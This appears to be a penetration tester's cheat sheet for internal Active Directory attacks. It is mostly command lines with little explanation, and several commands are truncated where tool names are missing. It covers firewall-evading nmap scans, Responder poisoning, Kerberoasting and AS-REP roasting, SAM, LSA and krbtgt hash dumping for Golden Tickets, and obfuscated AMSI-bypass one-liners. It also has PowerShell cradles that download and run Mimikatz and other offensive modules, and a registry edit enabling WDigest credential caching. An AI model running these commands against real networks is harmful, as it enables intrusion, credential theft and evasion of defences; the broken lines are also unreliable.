Internal Pentest


Host && Port Scanning

  • -n flag to decrease time avoiding DNS resoltion.

  • -f fragment packets as FW evasion, if no FW/IDS, remove it.

  • Also check FW evasion

# Ping discovery, Top 20, fragment packets, no DNS resolution
sudo nmap -v --top-ports 20 X.X.X.0/24 -f -n --open -oA
# Ping discovery, Top 200, fragment packets, no DNS resolution, service version
sudo nmap -v --top-ports 200 X.X.X.0/24 -f -n -sV --open -oA
# Top 1000, fragment packets, no DNS resolution, service version, all alive (no ping)
sudo nmap -v --top-ports 1000 X.X.X.0/24 -f -n -sV -Pn --open -oA

Web detection

# httpx
cat ip.txt | httpx -silent -random-agent -status-code -timeout 15 -title -web-server -tech-detect -o httpx.txt
cat ip.txt | httpx -silent -ports <UNCOMMON.PORTS> -random-agent -status-code -timeout 15 -title -web-server -tech-detect -o httpx_uncommon.txt


Check AD section too

AD no credentials

# Detect SMB on network
responder-RunFinger -i X.X.X.0/24

# Find DC
nslookup -q=srv _ldap._tcp.dc._msdcs.<>
nslookup -type=srv _ldap._tcp.<> | grep ldap | cut -d ' ' -f 6 | sed 's/\.$//g'

# Enumerate DC
ldapsearch -h <DC.IP> -x -s base namingcontexts

# Check for null session, if got users go for ASREPRoast with GetNPUsers
ldapsearch -h <DC.IP> -x -b "DC=XX,DC=XX"

# Get hashes with no krb preauth [Domain Name]/ -dc-ip [Domain Controller IP address] -request 'DC.LOCAL/' -usersfile users.txt -format hashcat -outputfile hashes.aspreroast -dc-ip

# Get domain name
crackmapexec smb
smbmap -H -u '' -p ''

# Get Users List DC.local/ -dc-ip -debug

# Get Users from ldap
windapsearch -U  full  dc-ip

# Get base domain
ldapsearch -x -h -s base namingcontexts

# Get more info from DC
ldapsearch -x -h -b ‘DC=DCNAME,DC=LOCAL’

AD with credentials

  • Enum AD AIO

python3 -m ade --dc <> -u <> --help
# from Windows on Domain
  • windapsearch

windapsearch -d <domain>.<name> -u <user> -p <password> --help
  • ldap

# Domain users
ldapsearch -LLL -x -H ldap://<DC.IP> -D "<USER>@<DOMAIN.NAME>" -w '<PASSWORD>' -b dc=<DOMAIN NAME>,dc=<DOMAIN NAME> -o ldif-wrap=no "(&(objectClass=user)(objectCategory=person))" name sAMAccountName userPrincipalName memberOf primaryGroupID adminCount userAccountControl description servicePrincipalName objectSid pwdLastSet lastLogon -E pr=1000/noprompt | tee domain_users.txt

# Domain computers
ldapsearch -LLL -x -H ldap://<DC.IP> -D "<USER>@<DOMAIN.NAME>" -w '<PASSWORD>' -b dc=<DOMAIN NAME>,dc=<DOMAIN NAME> -o ldif-wrap=no "(objectClass=computer)" name dNSHostname memberOf operatingSystem operatingSystemVersion lastLogonTimestamp servicePrincipalName description userAccountControl | tee domain_computers.txt

# Domain groups
ldapsearch -LLL -x -H ldap://<DC.IP> -D "<USER>@<DOMAIN.NAME>" -w '<PASSWORD>' -b dc=<DOMAIN NAME>,dc=<DOMAIN NAME> -o ldif-wrap=no "(objectClass=group)" name sAMAccountName memberOf member description objectSid | tee domain_groups.txt
  • rpcclient

rpcclient -U "DOMAIN/username%password" <domaincontroller name or IP>" -c dsr_enumtrustdom
rpcclient -U "DOMAIN/username%password" <domaincontroller name or IP>" -c enumdomains
rpcclient -U "DOMAIN/username%password" <domaincontroller name or IP>" -c enumdomusers
rpcclient -U "DOMAIN/username%password" <domaincontroller name or IP>" -c enumdomgroups
rpcclient -U "DOMAIN/username%password" <domaincontroller name or IP>" -c getdompwinfo
  • cme

# Run commands

# PS
cme smb <IP> -u <USER> -p '<PASS>' -X 'Get-Host'
cme smb <IP> -u <USER> -p '<PASS>' -x whoami
cme smb <IP> -u <USER> -H <NTHASH> -x whoami
# Other methods
cme smb <IP> -u <USER> -p '<PASS>' --exec-method {mmcexec,smbexec,atexec,wmiexec}

# Dumps

cme smb <IP> -d <DOMAIN> -u <USER> -p '<PASS>' --sam
cme smb <IP> -d <DOMAIN> -u <USER> -p '<PASS>' --lsa
# Sessions
cme smb <IP> -d <DOMAIN> -u <USER> -p '<PASS>' --sessions
# Logged users
cme smb <IP> -d <DOMAIN> -u <USER> -p '<PASS>' --loggedon-users
# Disks
cme smb <IP> -d <DOMAIN> -u <USER> -p '<PASS>' --disks
# Users
cme smb <IP> -d <DOMAIN> -u <USER> -p '<PASS>' --users #Enumerate users
# Groups
cme smb <IP> -d <DOMAIN> -u <USER> -p '<PASS>' --groups
# Local groups
cme smb <IP> -d <DOMAIN> -u <USER> -p '<PASS>' --local-groups
# Password policy
cme smb <IP> -d <DOMAIN> -u <USER> -p '<PASS>' --pass-pol


LLMNR & NBT-NS Poisoning (Responder)

  • Find a privileged user creds to reuse in other host

  • Set to Off SMB and HTTP in /usr/share/responder/Responder.conf

responder -I ppp0 -A                # Only listen
responder -I ppp0 -rv exec bash     # Poison
  • MultiRealy reuses hashes captured in specific host while responder is running -t X.X.X.X -u ALL


# Kerberoasting (hashcat 13100) -request -save -dc-ip <IP> domain/user # hashcat 13100

# BF -d <DC.LOCAL> -users <users_file> -passwords <passwords_file> -outputfile <output_file>

# ASREPRoast (hashcat 18200) <domain_name>/ -usersfile <users_file> -format <AS_REP_responses_format [hashcat | john]> -outputfile <output_AS_REP_responses_file>

# Request ticket <domain_name>/<user_name> -hashes [lm_hash]:<ntlm_hash> <domain_name>/<user_name> -aesKey <aes_key> <domain_name>/<user_name>:[password]
# Set ticket
export KRB5CCNAME=<TGT_ccache_file>
# Use it <domain_name>/<user_name>@<remote_hostname> -k -no-pass -hashes 'hash' -dc-ip username@ <domain_name>/<user_name>@<remote_hostname> -k -no-pass <domain_name>/<user_name>@<remote_hostname> -k -no-pass


# User hash '<DC.NAME>/<User>@<DC.IP>' -just-dc-user user1

# krbtgt hash dump -> Golden Ticket '<DC.NAME>/<User>@<DC.IP>' -just-dc-user krbtgt

AMSI Bypass

# Basic

# Obfuscation
sET-ItEM ( 'V'+'aR' +  'IA' + 'blE:1q2'  + 'uZx'  ) ( [TYpE](  "{1}{0}"-F'F','rE'  ) )  ;    (    GeT-VariaBle  ( "1Q2U"  +"zX"  )  -VaL )."A`ss`Embly"."GET`TY`Pe"((  "{6}{3}{1}{4}{2}{0}{5}" -f'Util','A','Amsi','.Management.','utomation.','s','System'  ) )."g`etf`iElD"(  ( "{0}{2}{1}" -f'amsi','d','InitFaile'  ),(  "{2}{4}{0}{1}{3}" -f 'Stat','i','NonPubli','c','c,' ))."sE`T`VaLUE"(  ${n`ULl},${t`RuE} )

# Other bypass
[Delegate]::CreateDelegate(("Func``3[String, $(([String].Assembly.GetType('System.Reflection.Bindin'+'gFlags')).FullName), System.Reflection.FieldInfo]" -as [String].Assembly.GetType('System.T'+'ype')), [Object]([Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')),('GetFie'+'ld')).Invoke('amsiInitFailed',(('Non'+'Public,Static') -as [String].Assembly.GetType('System.Reflection.Bindin'+'gFlags'))).SetValue($null,$True)

Common Exploits


Local Privilege Escalation

# Juicy Potato - Abuse SeImpersonate or SeAssignPrimaryToken Privileges for System Impersonation
# Works only until Windows Server 2016 and Windows 10 until patch 1803

# PrintSpoofer Exploit the PrinterBug for System Impersonation
# Works for Windows Server 2019 and Windows 10

# RoguePotato from Service Account to System
# Works for Windows Server 2019 and Windows 10

# Abusing Token Privileges

# SMBGhost CVE-2020–0796

# CVE-2021–36934 (HiveNightmare/SeriousSAM)



# Invoke-BypassUAC and start PowerShell prompt as Administrator [Or replace to run any other command]
powershell.exe -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString('');Invoke-BypassUAC -Command 'start powershell.exe'"

# Invoke-Mimikatz: Dump credentials from memory
powershell.exe -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString('');Invoke-Mimikatz -DumpCreds"

# Import Mimikatz Module to run further commands
powershell.exe -exec Bypass -noexit -C "IEX (New-Object Net.WebClient).DownloadString('')"

# Invoke-MassMimikatz: Use to dump creds on remote host [replace $env:computername with target server name(s)]
powershell.exe -exec Bypass -C "IEX (New-Object Net.WebClient).DownloadString('');'$env:COMPUTERNAME'|Invoke-MassMimikatz -Verbose"

# PowerUp: Privilege escalation checks
powershell.exe -exec Bypass -C “IEX (New-Object Net.WebClient).DownloadString(‘’);Invoke-AllChecks”

# Invoke-Inveigh and log output to file
powershell.exe -exec Bypass -C "IEX (New-Object Net.WebClient).DownloadString('');Invoke-Inveigh -ConsoleOutput Y –NBNS Y –mDNS Y –Proxy Y -LogOutput Y -FileOutput Y"

# Invoke-Kerberoast and provide Hashcat compatible hashes
powershell.exe -exec Bypass -C "IEX (New-Object Net.WebClient).DownloadString('');Invoke-kerberoast -OutputFormat Hashcat"

# Invoke-ShareFinder and print output to file
powershell.exe -exec Bypass -C "IEX (New-Object Net.WebClient).DownloadString('');Invoke-ShareFinder -CheckShareAccess|Out-File -FilePath sharefinder.txt"

# Import PowerView Module to run further commands
powershell.exe -exec Bypass -noexit -C "IEX (New-Object Net.WebClient).DownloadString('')"

# Invoke-Bloodhound
powershell.exe -exec Bypass -C "IEX(New-Object Net.Webclient).DownloadString('');Invoke-BloodHound"

# Find GPP Passwords in SYSVOL
findstr /S cpassword $env:logonserver\sysvol*.xml findstr /S cpassword %logonserver%\sysvol*.xml (cmd.exe)

# Run Powershell prompt as a different user, without loading profile to the machine [replace DOMAIN and USER]
runas /user:DOMAIN\USER /noprofile powershell.exe

# Insert reg key to enable Wdigest on newer versions of Windows (restart needed)
reg add HKLM\SYSTEM\CurrentControlSet\Contro\SecurityProviders\Wdigest /v UseLogonCredential /t Reg_DWORD /d 1

Native commands

# User Domain

# User Domain info
Get-ADUser Anakin

# Computer Domain
(Get-WmiObject Win32_ComputerSystem).Domain

# DNS, NetBIOSName, DomainSID
Get-ADDomain | select DNSRoot,NetBIOSName,DomainSID

# Trusted domains
nltest /domain_trusts

# Forest info

# Interesting users
Get-ADUser -Filter * | select SamAccountName

# Computer accounts
Get-ADObject -LDAPFilter "objectClass=User" -Properties SamAccountName | select SamAccountName

# Trust accounts
Get-ADUser  -LDAPFilter "(SamAccountName=*$)" | select SamAccountName

# Groups
Get-ADGroup -Filter * | select SamAccountName

# Interesting groups
Get-ADGroup "Domain Admins" -Properties members,memberof

# Get DC names
nltest /dclist:<>

# Get all users in the current domain
Get-NetUser | select -ExpandProperty cn

# Get all computers in the current domain

# Get all domains in current forest

# Get domain/forest trusts

# Get information for the DA group
Get-NetGroup -GroupName "Domain Admins"

# Find members of the DA group
Get-NetGroupMember -GroupName "Domain Admins" | select -ExpandProperty membername

# Find interesting shares in the domain, ignore default shares
Invoke-ShareFinder -ExcludeStandard -ExcludePrint -ExcludeIPC

# Get OUs for current domain
Get-NetOU -FullData

# Get computers in an OU
# %{} is a looping statement
Get-NetOU -OUName StudentMachines | %{Get-NetComputer -ADSPath $_}

# Get GPOs applied to a specific OU
Get-NetOU *student* | select gplink
Get-NetGPO -Name "{3E04167E-C2B6-4A9A-8FB7-C811158DC97C}"

# Get Restricted Groups set via GPOs, look for interesting group memberships forced via domain

# Get incoming ACL for a specific object
Get-ObjectACL -SamAccountName "Domain Admins" -ResolveGUIDs | Select IdentityReference,ActiveDirectoryRights

# Find interesting ACLs for the entire domain, show in a readable (left-to-right) format
Find-InterestingDomainAcl | select identityreferencename,activedirectoryrights,acetype,objectdn | ?{$_.IdentityReferenceName -NotContains "DnsAdmins"} | ft

# Get interesting outgoing ACLs for a specific user or group
# ?{} is a filter statement
Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReference -match "Domain Admins"} | select ObjectDN,ActiveDirectoryRights

# Get Applocker Policy
Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections

# Get computers running LAPS, along with their passwords if we're allowed to read those

# Get groups allowed to read LAPS passwords

AV Bypasses

Last updated